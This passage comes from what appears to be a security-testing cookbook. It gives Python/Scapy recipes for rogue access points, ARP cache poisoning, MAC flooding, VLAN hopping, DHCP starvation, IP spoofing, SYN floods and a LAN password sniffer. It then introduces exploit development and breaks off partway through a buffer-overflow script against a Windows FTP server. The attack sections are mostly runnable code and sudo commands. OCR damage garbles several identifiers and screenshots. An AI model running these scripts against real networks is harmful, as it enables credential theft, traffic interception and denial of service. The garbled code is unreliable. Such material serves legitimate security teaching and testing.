4. Now start the sniffer script in one terminal window and wait for the response.
5. Finally, start the dictionary attack script with the sudo permission:

| sudo python3 dictionary-attack-ssid.py



Fake access points with Scapy

We can create fake Wi-Fi access points by injecting beacon frames with Scapy.



How to do it...

Let's try creating a fake SSID with the following steps:

1. Create a new fake-access-point.py file and open it in the editor.
2. Load the required modules for the script:

from scapy.all import *
import random

Here we use the scapy and random modules for creating random MAC IDs

3. Then define the access point name and the interface to broadcast:

ssid = "fakeap"
iface = "en0@"

4. Now we can craft the packet with the beacon frame as follows:

dotll = Dot11(type=0, subtype=8, addri='ff:ff:ff:ff:ff:ff', addr2=str(RandMAC()),
addr3=str(RandMAC()))
dotlibeacon = Dotl1Beacon(cap='ESS+privacy')
dotllessid = Dot11E1t(ID='SSID', info=ssid, len=len(ssid))
rsn = Dot11E1lt(ID='RSNinfo', info=(

'\x01\x00' #For RSN Version 1

'\x00\x0f\xac\x02"' #Group Cipher Suite : 00-0f-ac TKIP

'\x02\x00"' #2 Pairwise Cipher Suites (next two lines)
'\x00\x0f\xac\x04"' #AES Cipher

'\x00\x0f\xac\x02"' #TKIP Cipher

'\x01\x00"' #1 Authentication Key Managment Suite (line below)
'\x00\x0f\xac\x02"' #Pre-Shared Key

'\x00\x00"')) #RSN Capabilities (no extra capabilities)

frame = RadioTap()/dot11/dot1llbeacon/dotllessid/rsn

5. Now we can broadcast the access point with the sendp() method:

| sendp(frame, iface=iface, inter=0.0100 if len(frames)<10 else 0, loop=1)

6. Now run the script with the required permission:

| sudo python3 fake-access-point.py

This will broadcast an access point with the provided SSID



Layer 2 Attacks

In this chapter, we will cover the following recipes:

ARP Watcher

ARP cache poisoning

MAC flooder

VLAN hopping

ARP spoofing over VLAN hopping
DHCEP starvation



Introduction

Layer 2 is the data link layer responsible for addressing packets in an Ethernet with MAC
addresses. Layer 2 is used to transfer data between adjacent network nodes in a wide area
network, or between nodes on the same LAN. In this chapter, we will go through some of the
common attacks at the second layer of TCP/IP.



ARP Watcher

With Address Resolution Protocol (ARP), we can find live internal hosts. We can write a script
to scan for hosts in a given network with Scapy.



How to do it...

We can write a ARP Watcher with the following steps:

1. Create an arp-scanner.py file and open it in your editor.
2. We then have to import the required modules:

| from scapy.all import *

3. Now declare the variables for the script:

interface = "eno"
ip_rage = "192.168.1.1/24"
broadcastMac = "ff:ff:ff:ff:ff:ff"

4. Now we can send ARP packets to all the IPs in the IP range, and get answered and
unanswered packets.
5. Create the ARP packet as follows:

| pkt = Ether(dst=broadcastMac)/ARP(pdst = ip_rage)

The structure of the packet will be as follows:

6. Then, send the packet with srp() and receive the response:

| answered, unanswered = srp(pkt, timeout =2, iface=interface, inter=0.1)

7. Next, iterate through all the answered packets and print their MAC and IPs:

for send,recive in ans:
print (recive.sprintf(r"%Ether.src% - %ARP.psrc%"))

8. Now, run the script with required permission:

| sudo python3 arp-scanner.py

This will print the MAC and IPs of all active systems in the network range provided.
Output will be as follows:



10.

11.

12.

Now we can convert this to an ARP monitor, that has the ability to monitor the network for
changes. For that, create another arp-monitor.py file and import the scapy module.
Then, create a function to parse the packets and sniff the interface:

def parsePacket(pkt):
if ARP in pkt and pkt[ARP].op in (1,2):
return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

Now, start sniffing and call the parsepacket () method to parse the ARP packets:

sniff(prn=parsePacket, filter="arp", store=0)

Run the script with required permission to start the monitoring:

sudo python3 arp-monitor.py



ARP cache poisoning

As we know, systems on a TCP/IP LAN identify and communicate with each other via the MAC
addresses of their network adapters. Each system keeps a list of systems and their MAC
addresses for reference, known as the ARP cache. If possible, we need to spoof the cache of a
machine with a wrong MAC address for another machine. All communication to that machine
with the spoofed MAC address from the machine will be directed to the attached machine. So,
ARP cache poisoning is the method of tricking a machine to save the wrong data about an IP
address in its ARP table.



Getting ready

As we are performing a type of man-in-the-middle attack (getting the data from another device
connected to the same network), we have to turn on the IP forwarding to make sure that the
connection on the victim's machine is not affected or interrupted. For performing IP forwarding,
we have different methods for Linux and macOS.



Linux

We can check the status of IP forwarding by checking the content in the following file:

| cat /proc/sys/net/ipva/ip_forward

If the output is 1, IP forwarding is enabled; and if it's e, IP forwarding is disabled. If it's disabled,
enable it as follows:

| echo 1 > /proc/sys/net/ipva/ip_forward



macOS

You can enable IP forwarding in macOS with the following command:

| sudo sysctl -w net.inet.ip.forwarding=1

Disable it with the following command:

| sudo sysctl -w net.inet.ip.forwarding=e



How to do it...

Here are the steps to write a script to poison ARP cache in a victim system:

1. Create a new arp-cache-poisoning.py file and open in your editor.
2. Import the scapy module:

| from scapy.all import *

3. Declare the variables. We could also get these from arguments, or as: raw_input():

interface = "eno"

gateway ip = "192.168.1.2"
target_ip = "192.168.1.103"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet_count 50

4. Now define a function to get the MAC IDs from the IP provided:

def getMac(IP):
ans, unans = srp(Ether(dst=broadcastMac)/ARP(pdst = IP), timeout =2, iface=interface,
inter=0.1)
for send,recive in ans:
return r[Ether].src
return None

5. Now get the MAC address of the target and gateway with the getmac() method:

try:
gateway mac = getMac(gateway ip)
print ("Gateway MAC :" + gateway mac)
except:
print ("Failed to get gateway MAC. Exiting.")
sys.exit(0)
try:
target_mac = getMac(target_ip)
print ("Target MAC :" + target_mac)
except:
print ("Failed to get target MAC. Exiting.")
sys.exit(0)

6. Define the function to poison the ARP cache of the target:

def poison(gateway_ ip,gateway mac, target_ip, target_mac):
targetPacket = ARP()
targetPacket.op = 2
targetPacket.psrc = gateway_ip
targetPacket.pdst = target_ip
targetPacket.hwdst= target_mac
gatewayPacket = ARP()
gatewayPacket.op = 2
gatewayPacket.psrc target_ip
gatewayPacket.pdst gateway_ ip
gatewayPacket.hwdst= gateway mac
while True:
try:

targetPacket.show()

send(targetPacket)

gatewayPacket.show()

send(gatewayPacket)

time.sleep(2)

except KeyboardInterrupt:




restore_target(gateway ip,gateway_mac, target_ip, target_mac)
sys.exit(0)
sys.exit(0)
return

Here, we are sending two types of packets--one to the target machine, and one to the
gateway. The first two blocks define these packets. The target packet will be as follows:

The gateway packet will be as follows:

7. Now create a function to reset the poisoned cache back to the normal state:

def restore(gateway_ ip,gateway mac, target_ip, target_mac):
print("Restoring target...")
send(ARP(op=2, psrc=gateway_ip,

pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff" hwsrc=gateway_mac),count=100)
send(ARP(op=2, psrc=target_ip,

pdst=gateway_ ip, hwdst="ff:ff:ff:ff:ff:ff" hwsrc=target_mac),count=100)
print("[Target Restored...")
sys.exit(0)

8. Then, we can start sending the packets:

try:
poison(gateway ip, gateway mac, target_ip, target_mac)
except KeyboardInterrupt:
restore(gateway_ip,gateway _mac, target_ip, target_mac)
sys.exit(0)

9. Run the script with required permission:

| sudo python3 arp-cache-poisoning.py



MAC flooder

We can fill the MAC address store of a router by sending random Ethernet traffic over the
network. This may lead to the malfunction of the switch, and may start sending all the network
traffic to everyone connected to the router, or it may fail.



How to do it...

Here are the steps to flood MAC address store in a router:

1. Create a mac-flooder.py file and open in your editor.
2. Import the required modules:

import sys
from scapy.all import *

3. Define the interface to flood. We could also get it from the arguments:

| interface = "eno"

4. Create the packets with random MAC IDs and random IPs:

IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \
ICMP()

The packet structure will be as follows:

5. Finally, send the packets in an infinite loop:

try:
while True:
sendp(pkt, iface=interface)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)

6. Now run the file with required permission:

| sudo python3 mac-flooder.py



VLAN hopping

VLAN hopping is the type of attack in which the attacker is able to send traffic from one VLAN
into another. We can do this with two methods: double tags and switch spoofing.

To create a double tag attack, the attacker sends a packet with two 802.1Q tags--the inner VLAN
tag is the VLAN that we are planning to reach, and the outer layer is the current VLAN.



How to do it...

Here are the steps to simulate a simple VLAN hopping attack:

1. Create a vian-hopping.py file and open in your editor.
2. Import the modules and set the variables:

import time

from scapy.all import *
iface = "eno"

our_vlan = 1

target_vlan = 2
target_ip = '192.168.1.2"'

3. Craft the packet with two 802.1Q tags:

ether = Ether()

dotlgl = Dot1Q(vlan=our_vlan) # vlan tag 1
dotlg2 = Dot1Q(vlan=target_vlan) # vlan tag 2
ip = IP(dst=target_ip)

icmp = ICMP()

packet = ether/dotiqil/dot1q2/ip/icmp

The packet will be as follows:

802.1Q Tag2

4. Now, send these packets in an infinite loop:

try:
while True:
sendp(packet, iface=iface)
time.sleep(10)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)



5. Run the script with required permission:

| sudo python3 vlan-hopping.py



ARP spoofing over VLAN hopping

As VLANS limit broadcast traffic to the same VLAN, here we tag every packet with our VLAN
tag, and an extra with the destination VLAN.



How to do it...

Here are the steps to simulate ARP spoofing attack over VLAN hopping:

1. Create a new arp-spoofing-over-vian.py file and open in your editor.
2. Import modules and set variables:

import time

from scapy.all import *

iface = "en0@"

target_ip = '192.168.1.2"'
fake_ip = '192.168.1.3'
fake_mac = 'c0:d3:de:ad:be:ef'
our_vlan = 1

target_vlan = 2

3. Create ARP packets with two 802.1Q tags:

ether = Ether()

dotlgql = Dot1Q(vlan=our_vlan)

dotlg2 = Dot1Q(vlan=target_vlan)

arp = ARP(hwsrc=fake_mac, pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ether/dotiqil/dot1q2/arp

Here is the packet with two 802.1Q tags and an ARP layer:

4. Send the packets in an infinite loop:

try:
while True:
sendp(packet, iface=iface)
time.sleep(10)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)

5. Run the script with required permission:

| sudo python3 arp-spoofing-over-vlan.py



DHCP starvation

DHCEP is the protocol that helps to assign clients' IP addresses to the LAN. The process of
assigning DHCP consists of four steps--DHCPDiscover, DHCPOffer, DHCPRequest, and DHCP
ACK.

DHCPDiscover is the first step where the client broadcasts in the LAN to find a DHCP server
that can provide an IP for the client. Then the server will respond with a unicast DHCPOffer,
where it offers a possible IP. Then, the client will broadcast the DHCPRequest with the IP to all
networks, and finally the server will respond with a DHCP ACK or DHCP NAK. ACK
represents a successful DHCP process, while NAK represents when the IP is not available:
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The DHCP server stores the IP information to MAC bindings. If we ask for too many IPs from
the DHCP server, other legitimate clients will not get an IP to connect. This is known as

a DHCP starvation attack. In this recipe, we will be attacking the third step of this process.
After sending the DHCP request, the server will assign the requested IP for the client. This can
be used to attack a specific range of IPs.



How to do it...

Let's try writing a script to starve the DHCP in the network:

1. Create a dncp-starvation.py file and open in your editor.
2. Import the required modules:

from scapy.all import *
from time import sleep
from threading import Thread

We require scapy for crafting the packets, and a threading module for threaded execution of
the script

3. Now, define the variables:

mac = [Illl]
ip = [1]

4. Now we can define the callback function to handle the captured DHCP packets:

def callback dhcp_handle(pkt):
if pkt.haslayer (DHCP):
if pkt[DHCP].options[0][1]==5 and pkt[IP].dst != "192.168.1.38":
ip.append(pkt[IP].dst)
print (str(pkt[IP].dst)+" registered")
elif pkt[DHCP].options[0][1]==6:
print ("NAK received")

This function is called to process each packet received by the sniffer

5. Now we have to create another function to configure the sniffer. This function is called by
the threads:

def sniff _udp_packets():
sniff(filter="udp and (port 67 or port 68)",
prn=callback_dhcp_handle,
store=0)

This will start sniffing the UDP packets to the ports 67 and es

6. Now we can create a DHCPRequest packet and send it to the DHCP server that we are
planning to starve:

def occupy IP():
for i in range(250):
requested_addr = "192.168.1."+str(2+1)
if requested_addr in ip:
continue
src_mac = ""
while src_mac in mac:
src_mac = RandMAC()
mac .append(src_mac)
pkt = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
pkt /= UDP(sport=68, dport=67)
pkt /= BOOTP(chaddr="\x00\x00\x00\x00\x00\x00", xid=0x10000000)




pkt /= DHCP(options=[("message-type", "request"),
("requested_addr", requested_addr),
("server_id", "192.168.1.1"),
"end"])

sendp (pkt)

print ("Trying to occupy "+requested_addr)

sleep(0.2) # interval to avoid congestion and packet loss

This will first generate an IP within the specified range. Also, it will create a random
MAC address for the packet. This will then craft a DHCPRequest packet with the
generated IP addresses and MAC. Then, it will send the packet. The packet generated
will be as follows:

7. Now we can start threads and try to occupy the IP address in the DHCP server:

def main():
thread = Thread(target=sniff_udp_packets)
thread.start()
print ("Starting DHCP starvation...")
while len(ip) < 100:
occupy_IP()
print ("Targeted IP address starved")

main()

8. Now, run the script with required permission.



TCP/IP Attacks

In this chapter, we will cover the following recipes:

e [P spoofing
e SYN flooding
e Password sniffer with Python over LAN



Introduction

The transport layer is the layer that provides data delivery, flow control, and error recovery
services. The two main transport layer protocols are the TCP and the UDP. In this chapter, we

will discuss some common attacks in the transport layer.



IP spoofing

With Scapy, we can simply craft packets and send them. So, if we spoof the source address and
send it, the network accepts and returns the response to the spoofed address. Now, we can create
a script to ping a system with a spoofed IP.



How to do it...

Here are the steps to create a script for sending ping requests with spoofed IP:
1. Create an ip-spoof-ping.py file and open it in your editor.

2. Then, we have to import the required modules:

| from scapy.all import *

3. Now declare the variables for the script:

fake_ip = '192.168.1.3'

iface = "en0@"
destination_ip = '192.168.1.5'

4. Create a function to send ICMP packets:

pkt = IP(src=source,dst=destination)/ICMP()

def ping(source, destination, iface):
srloop(IP(src=source,dst=destination)/ICMP(), iface=iface)

This will create the following packet and start a send/receive loop:

5. Start sending the spoofed packets:

try:
print ("Starting Ping")
ping(fake_ip,destination_ip, iface)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)

6. Now, run the script with required permission:

| sudo python3 ip-spoof-ping.py

7. Now we can try to send a spoofed DNS query. For that, create another function, dnsquery():



def dnsQuery(source, destination, iface):
pkt =IP(dst=destination, src=source)/UDP()/DNS(rd=1, qd=DNSQR(qname="example.com"))
sri(pkt)

This will create the following packet, and start sending in a send/receive loop:

8. Then send the DNS query by calling this method:

try:
print ("Starting Ping")
dnsQuery(fake_ip, dns_destination, iface)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)

9. If we can monitor the victim's tcpdump, we can see the DNS responses.



SYN flooding

SYN flooding is a type of DOS attack that makes the service unavailable for legitimate users. A
SYN flood attack makes use of the TCP protocol's three-way handshake, where a client sends a
TCP SYN packet to start a connection to the server, and the server replies with a TCP SYN-ACK
packet. Then, in a normal operation, the client will send an ACK packet followed by the data.
This will keep the connection open with a syn_recv state. But, if the client does not respond with
an ACK packet, the connection will be in a half-opened state.

If multiple attackers or systems opened many such half-opened connections to the target server,
it could fill the server's SYN buffer and may stop it receiving more SYN packets to cause a
Denial-of-Service (DoS) attack:
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We can generate SYN flood packets with Scapy for the testing.



How to do it...

Here are the steps to create a script to generate a SYN flooding attack:

1. Create a syn-flooding.py file and open it in your editor.
2. Then, we have to import the required modules:

| from scapy.all import *

3. Now, declare the variables:

iface = "en0@"
destination_ip = '192.168.1.5'

4. Define a function to create and send SYN flooding packets:

def synFlood(destination, iface):
print ("Starting SYN Flood")
packet=IP(dst=destination, id=1111, tt1=99)/TCP(sport=RandShort(), dport=
[22,80], seq=12345, ack=1000, window=1000, flags="S")/"HaX0r SVP"
ans,unans=srloop(paket, iface=iface, inter=0.3,retry=2, timeout=4)
ans.summary()
unans.summary()

Here, random values are used to set TTLs and IDs in the packets. This will help to
obfuscate the identify in case any intrusion detection system is present in the server. Also,
the source port is a random value created by the randshort() function.

Here is a created sample packet:

5. Now send the packets:



try:
synFlood(destination_ip, iface)
except KeyboardInterrupt:
print("Exiting.. ")
sys.exit(0)

6. Run this script with required permission:

| sudo python3 syn-flooding.py



Password sniffer with Python over LAN

We have already learned how to sniff packets with Scapy in the previous recipes. Now we can
use Scapy to sniff and extract the content in the packets. This can be used to get the details of
many protocols. We can try to get the credentials from these sniffed packets. We can bind this
sniffer with our ARP poisoning attack to get the details from other machines on the network.



How to do it...

Here are the steps to write a password sniffer over LAN:

1. Create a pass-sniffer.py file and open it in your editor.
2. Import the required modules:

from scapy.all import *
from urllib import parse

3. Now declare the variables for the interface:

iface = "en0@"
conf.verb=0

4. Create a method to check the username and password in the sniffed content:

def get_login_pass(body):
user = None
passwd = None
userfields = ['log', 'login', 'wpname', 'ahd_username',

'unickname', 'nickname', ‘'user', 'user_name',

'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',

'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id',
'screename’,

'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername',
'login_username’,

'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario']

passfields = ['ahd_password', 'pass', 'password',6 ' password',6 'passwd',6 'session_password',
'sessionpassword’,

'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword',
'login_password'

'passwort', 'passwrd', 'wppassword', 'upasswd', 'senha', 'contrasena']

for login in userfields:
login_re = re.search('(%s=["&]+)' % login, body, re.IGNORECASE)
if login_re:
user = login_re.group()
for passfield in passfields:
pass_re = re.search('(%s=["&]+)' % passfield, body, re.IGNORECASE)
if pass_re:
passwd = pass_re.group()
if user and passwd:
return (user, passwd)

Here, we search with the keywords in the data, and extract the username and passwords,
if present in the payload

5. Now, create a function to parse the packets sniffed:

def pkt_parser(pkt):
if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not
pkt.haslayer (IPv6):
pass
if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
pkt[TCP].payload
mail_packet = str(pkt[TCP].payload)
body = str(pkt[TCP].payload)
user_passwd = get_login_pass(body)
if user_passwd != None:
print(parse.unquote(user_passwd[0]).encode("utf8"))
print(parse.unquote( user_passwd[1]).encode("utf8"))

else:



| pass

First, we will ignore the raw packets without the IP layer. Then we get the IP layer and
extract the payload and pass it to the get_1ogin_pass() method to extract the credentials.

6. Now, start sniffing the packets in the provided interface:

try:

sniff(iface=iface, prn=pkt_parser, store=0)
except KeyboardInterrupt:

print("Exiting.. ")

sys.exit(0)

7. Now, run the script with required permission:

| sudo python3 pass-sniffer.py

8. We can update this script to extract FTP credentials with little modifications:

if pkt[TCP].dport == 21 or pkt[TCP].sport ==21:
data = pkt[Raw].load
print(str(data))

This will print the FTP data. We could run a regex match on this to get the username and
password.



Introduction to Exploit Development

In this chapter, we will cover the following recipes:

e CPU registers
e Memory dump
e CPU instructions



Introduction

Python is helpful for creating simple prototype codes to test the exploits. In this chapter, we can
learn the basics of exploit development, which may help you to correct broken exploits, or just

build your own exploits from scratch.



CPU registers

CPU registers, or processor registers, are one of a small set of data holding places in the
processor, which may hold an instruction, storage address, or any data. Registers should be
capable of storing the instructions. Registers are the fastest computer memory, used to speed up
the computer operation.



Getting ready

You need to have a basic idea about the registers before working with exploit development. For
understanding, let's consider that registers are mainly in two forms, general purpose registers and

special purpose registers.



General purpose registers

General purpose registers are used to store intermediate results during program execution and to
run mathematical operations. The four general purpose registers are EAX, EBX, ECX, and EDX:

e EAX (The accumulator register): Used for basic mathematical operations and to return
the value of a function.

e EBX: This is used for nominal storage as needed.

e ECX (The counter register): Used for looping through functions and iterations. It can also
be used for general storage.

e EDX (The data register): It is used for higher mathematical operations such as
multiplication and division. It also stores function variables while running a program.



Special purpose registers

Special purpose registers are used to handle indexing and pointing. These are important in the
case of writing exploits as we will try to manipulate and overwrite the data in these registers. The
main special purpose registers are EBP, EDI, EIP, and ESP:

e EBP: This pointer register indicates where the bottom of the stack is at. So, this will point
to the top of the stack or set to the old pointer value when we are starting a function as it's
the beginning.

e EDI: This is the destination index register, used for pointers to function.

e EIP: Instruction pointer register is used to store the next instruction to be executed by the
CPU. So, this is important for exploit writing as if we could edit this we can control the next
instruction. Also, if we can overwrite this EIP it means that the program itself has failed.

e ESP: Is when the stack pointer indicates the current top (lowest memory address) of the
stack. This get updates while running the program as items are removed from the top of the
stack. When new functions are loaded it goes back to the top position. If we need to access
the stack memory we can use ESP.

To view the registers while running a program we need debuggers, we have to install debuggers
for this in your system. For debugging Windows programs we can use Immunity Debugger and
for Linux and Mac we can use pwngdb.

You can download and install Immunity Debugger from here: https://www.immunityinc.co
0 m/products/debugger.

To install pundbg, get the code from the Git repository and run the setup script:

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh



https://www.immunityinc.com/products/debugger/

How to do it...

We can do some quick tasks for better understanding of these registers in the debugger tools.

1. To view the registers while running a program, we need to use debuggers. So open an
executable in the Immunity Debugger. For that, open Immunity Debugger in a Windows
machine.

2. Then load the program to analyze it in Immunity Debugger. From the menu go to File |
Open and select the application to monitor.

3. It will open the application in debug mode and print out the current details. The top-right
box will show the register details. The register pane in the Immunity

Debugger looks as follows:
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4. For Linux and macQOS, after installing pwndbg we can open the application in pwndbg with the
following command:

| >> gdb ./app
This will open the application app in the debugger

5. Now we can run the application in the debug mode with a break point set:

pwndbg> break 5
pwndbg> run

This will run the application and break at line s

6. Now we can view the registers at the current state with the following command:

| pwndbg>info registers



The output will be as follows:

bé 4155584
frfffffease 148737

If the executable is 64-bit, the registers will start with r. Starting them with e is invalid.



Memory dump

We can easily view the contents of a memory location with the memory dump. We can use
Immunity Debugger or pwndbg for this.



How to do it...

Follow the steps for better understanding of memory dump:
1. Open an application in the Immunity Debugger.

2. If you want to view the memory dump in ESI register and right-click on the address and
select the Follow in Dump option:
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3. This will update the memory dump window in the bottom-left corner. The memory dump
window in Immunity Debugger looks as follows:

FAddress

4. With pwndbg we can get the memory dump with the hexdump command. For that, load the
application in gdb and run it with a breaker:

pwndbg> break 5
pwndbg> run

5. Now to view the memory dump in RSI register, run the following command:



pwndbg> hexdump $rsi

The output will be as follows:

hexdump Srsi
x7fffffffeass

20 Ox7fffffffea7s

fffffffeogs
fffffffeass




CPU instructions

When an application is written in high-level languages is compiled, the language instructions
will be converted to assembly language corresponding to it. This is the code that machines can
understand. With the debugger we can view each assembly instruction.



How to do it...

Follow the steps to understand the usage in debuggers:

1. Open an application in the Immunity Debugger.
2. We can view the opcode in the top-left pane of the Immunity Debugger.
3. We can step through the instructions one by one and see the results by pressing F7:

Here is how the instructions pane looks:

: jl'fi l emtwhoePk©bzr..

ulll ;:I RD PTR

This will update the corresponding registers in the top-right pane. Like this, we can
follow the execution of each CPU instruction within Immunity Debugger.

In the case of pwndbg, we can use the entry command to execute at the entry point:

| pwndbg> entry
This will present with the context screen.

4. We can use the nearpc command to view the opcode near the break pointers:

| pwndbg> nearpc

The output will be as follows:



nearpc
» Ox7ffff7ddb268 <_start> -
Bax7ffff7ddb263 <_start+3> art

dl_start_us rak:

dl_start_user , dword ptr [rip + O0x221b87] <
dl_start_user

dl_start_user ., [rsp + rax*g]
dl_start_user+14 (, eax

dl_start_user rdx:
dl_start_user

dl:;tart_user+1ﬁa
: s TSP
<_dl_start_user+23s . OxFFFFFFFFfffffffo

5. We can step through the instructions with the stepi command:

| pwndbg> stepi

This will execute one machine instruction, and then it will stop and return to the
debugger.

Like this, we can go through the instructions to analyze it.



Windows Exploit Development

In this chapter, we will cover the following recipes:

Windows memory layout

Buffer overflow attacks with saved return pointer overwrites
Structured Exception Handling (SEH)

Egg hunters



Introduction

This chapter will go through some Windows-based vulnerabilities and the exploit techniques
using Python. The solution for the exploit development tasks is to replace the program
instructions with our instructions to manipulate the application behavior. We will be using an
Immunity Debugger for debugging the applications. As the victim machine will be a Windows
machine, we require a machine with Window XP OS installed on it. We are using the old XP
version for the ease of exploiting, and the sample applications with vulnerabilities will work in
XP.



Windows memory layout

The Windows OS memory has a number of sections that can be considered as the high-level
components. To write exploits and take advantage of vulnerable programs, we have to
understand the memory structure and its sections.



Getting ready

Before starting the exploit script writing, we have to get an idea about the structure of the
Windows memory layout.

Let's have a look at the memory structure for an executable:

Bottom of the memory
structure

High memory address

Kernel

Process Environment
Block (PEB)

Thread Environment
Block (TEB)

Dynamic Link Library
DLL)

Program Image

H
s Heap Growth

Stack Growth
Stack

Low memory address

Top of the memory
structure

As we use a stack and heap in most cases of exploits, we can start with these.



The stack

The stack is used for short-term local storage in an ordered manner. Each thread in an application
has a stack. A unique stack with a fixed size is assigned for a thread or a function when it is
called. The size of the stack is defined when the application or thread starts. Also, this stack gets
destroyed when this function or thread gets finished. The stack is mainly used to store local
variables, save function return pointers, function argument exception handler records, and much
more.

The stack builds up the data from bottom of the stack to the top, from a high memory address to
a low memory address:

Bottom of the stack

High memary Addresses

Stack
Graowth

Low memary Addressas

Top of the stack



The heap

The heap is used dynamically for allocation memory. The heap is used in a situation when the
application is unaware of the data it will receive or process. So, the heap is used to store global
variables and values assigned in a disorganized manner. The heap is freed only when the
application is terminated.

The heap grows opposite to the stack. It grows from the lower addresses to the higher addresses:

Top of the Heap

High memory Adaresses

|

Heap

G I’TM‘[ n

Low memory Addresses

Bottom of the Heap



Program image and dynamic link libraries

The program image is the location where the actual executable is stored in memory. The
executables will be in portable executable (PE) format and include the executable and the DLL.
Within this section, there are some items defined, such as the PE header, .text, .rdata, .data, and
so on. The PE header defines the header information for the rest of the executable and . text
includes the code segments. .rdata is the read only data segment and .rsrc is the section in which
resources such as icons, menus, and fonts for the executable are stored.



Process Environment Block (PEB)

When we run an application, an instance of that executable will run as a process and provide the
required resources to run that application. The process attribute in which the non-kernel
components of the running process are stored is PEB. Also, PEB resides in the user-accessible
memory.

For more details on PEB structures, follow this link: https://msdn.microsoft.com/en-us/library
o /windows/desktop/aa813706(v=vs.85).aspx


https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx

Thread Environment Block (TEB)

Some process may have one or more threads. In that case, each process starts with a single
primary thread and creates more additional threads when required. Also, all these threads share
the same virtual addresses. Each thread has its own resources which include the exception
handlers, local storage, and much more. So, like PEB, each thread has TEB. TEB also resides in
the process address space.

You can read more on processes and threads in the following article: https://msdn.micro
0 soft.com/en-us/library/windows/desktop/ms681917(v=vs.85).aspx

Also, more on TEB structures can be found here: https://msdn.microsoft.com/en-us/library/win
dows/desktop/ms686708(v=vs.85).aspx

We require a Windows XP machine installed with an Immunity Debugger for analyzing a sample
application.


https://msdn.microsoft.com/en-us/library/windows/desktop/ms681917(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms686708(v=vs.85).aspx

How to do it...

Here are the steps to understand the basic usage of Immunity Debugger:

1. Open the Immunity Debugger in the Windows machine.
2. Then load a program to analyze in the Immunity Debugger. From the menu, select File |
Open and select the application to monitor:

3 Immunity Debugger - FTPServer.exe - [Memory map]

ﬂ File View Debug Plugins Immlib Options Window Help Jobs

_J Open F3 |—Wh c P
| Attach Ctrl+F1 .

Exit Alt+ X

1 Ch\Users\Aimy\Downloads\FTPServer.exe Ctrl+F2

3. We can view the memory map by opening the Memory map. You can open it from the
menu View | Memory or by hitting the Alt + M keys:

&% Immunity Debugger - FTPServer.exe - [Memory map]

Log Alt+L
Executable modules Alt+E
Memory Alt+ M
Heap

Threads

Windows

Handles

CPU Alt+C
SFH rhain Alr+5

This will open up the following pane:



This is the memory map for the application opened in the Immunity Debugger. This
includes all stacks, heaps , DLLs, and the executable.

You can view the stack as follows:

Address |Size Owner | Section |Contains Type|Azzess | Initial|Map

DLLs can be identified as follows:



4. We can get the memory dump of PEB and TEB by right-clicking on the address and

selecting the Dump option:

Actualize

Durnp in CPU

Dump

Search Ctrl+B




Buffer overflow with saved return pointer
overwrite

In this recipe, we will discuss exploiting an application with buffer overflow vulnerability and
with a saved return pointer overwrite.



Getting ready

We can use FreeflotFTP as the vulnerable application. You can get the application from: https:/rej

ahrehim.com/assets/sample-package/ftp_server_sample.zip.

The vulnerable machine environment is Windows XP. So run Windows XP in a real or virtual
environment and install the Immunity Debugger in it.


https://rejahrehim.com/assets/sample-package/ftp_server_sample.zip

Installing Mona

We need to install Mona, a pycommand module for the Immunity Debugger. To do this, download
the mona.py from: https://github.com/corelan/mona.

Then, add the mona.py to the pycommands folder inside 1mmunity pebugger application folder:

Address ‘_’) C:\Program Files\Immunity InciImmunity DebuggeriPyCommands ~| i Go
Folders X " ~
|2) ComPlus Applications o '= ﬂ '21
= 23 Immuniity Inc acrocache ackive:x
= [2) Immunity Debugger
[C3) Data -
[# |2 Documentation 'ﬂ 'ﬂ
& “? Libs chunkanalyz...  cmpmem
= I PyCommands
I2) deplib
I5) x@6smt W A A
|2) PyHooks
) PyPlugins findantidep  finddatatype
[Z3) Pythan.inst



https://github.com/corelan/mona

How to do it...

Follow the steps to create an exploit for buffer overflow attack:

1. In a Windows machine, start the Immunity Debugger and open the vulnerable application in
it.

2. Asitis an FTP server, we can try to crash the application by connecting it from another
machine.

3. We can write a script to connect to the FTP server with Python. To do this, create an
ftp_exploit.py and open it in your editor:

#!/usr/bin/python

import socket

import sys

evil = "A"*1000

s=socket.socket (socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.1.39',21))
s.recv(1024)

.send( 'USER anonymous\r\n')
.recv(1024)

.send( 'PASS anonymous\r\n')
.recv(1024)

.send('MKD ' + evil + '\r\n')
.recv(1024)

.send('QUIT\r\n")

.close

nnonuoonunnonon

This creates a large chunk of data and posts to the FTP server in the Windows machine.
By sending this, the program will crash:

Registers (FPU) < &S & < < <
ER:?

Here you can see that the EIP register is overwritten by the buffer we provided. Also,
ESP and EDI registers also contain our buffer.

4. Next, we have to analyze the crash. To do this, we need to replace the a in the payload with
a pattern. We can generate patterns with the following script: htps:/github.com/Svenito/exploit-patter

n.


https://github.com/Svenito/exploit-pattern

Download the script

5. We need to generate a pattern with exactly the same payload as we provided before. With
the script download, generate the pattern with 1,000 characters. Copy the generated pattern:

6. Update the Python scripts with the pattern as the payload. So, replace the following line in
the script:

| evil = "A"*1000

With the following code:

evil =
